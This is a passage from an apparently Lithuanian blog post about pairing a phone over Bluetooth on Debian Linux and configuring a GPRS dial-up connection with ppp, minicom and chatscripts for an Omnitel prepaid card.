root@base:~# passkey-agent --default 1234 &
root@base:~# cat /dev/rfcomm0
^C

Suporavę telefona galime žudyti passkey-agent procesą, jo mums nebereikia, nebent vėl reikėtų poruoti.

2. Kitas variantas aprašytas kaip “unsupported” /usr/share/doc/bluez-utils/README.Debian.gz faile:

root@base:~# echo "00:01:02:03:04:05 1234" > /var/lib/bluetooth/00:0F:0E:0D:0B:0A/pincodes

kur “1234” yra BT poravimo pin kodas. Šiuo atveju, jeigu reikėtų naujai poruotis (kas yra labai tikėtina dualbootinėje sistemoje, kur mes šokinėjame tarp windows ir linux, ir poravimas įvykdytas vienoje sistemoje nebeveikia kitoje), pin kodas iš Linux bus siunčiamas automatiškai.

Patikriname, ar galime pasiekti telefoną ir duoti jam AT komandas:

root@base:~# apt-get install minicom
root@base:~# echo "pu port /dev/rfcomm0" > /etc/minicom/minirc.dfl
root@base:~# minicom

minicom’e davę telefonui komanda AT turime gauti OK. Tai reiškia, kad galime konfigūruoti ppp.
Šiuo atveju tai bus GPRS per Omnitel “Extra” prepaid kortele, bet iš esmės viskas yra tas pats ir su kitais mobilaus ryšio tiekėjais:

root@base:~# apt-get install ppp pppconfig

Bazinės ppp konfigūracijos griaučius galima sukurti pppconfig įrankio pagalba, o galima tiesiog rankutėmis:

/etc/ppp/peers/provider

hide-password
noauth
connect "/usr/sbin/chat -v -f /etc/chatscripts/provider"
debug
/dev/rfcomm0
115200
defaultroute
noipdefault
user "omni"
remotename provider
ipparam provider

/etc/chatscripts/provider

ABORT BUSY
ABORT 'NO CARRIER'
ABORT VOICE
ABORT 'NO DIALTONE'
ABORT 'NO DIAL TONE'
ABORT 'NO ANSWER'
ABORT DELAYED
'' ATZ
OK-AT-OK "ATDT*99***1#"
CONNECT \d\c

/etc/ppp/pap-secrets

"omni" provider "omni"

Prisijungiame įvykdę komanda “pon” ir stebime /var/log/messages . Atsijungiame įvykdę komanda poff.

Older Posts »

Blog at WordPress.com.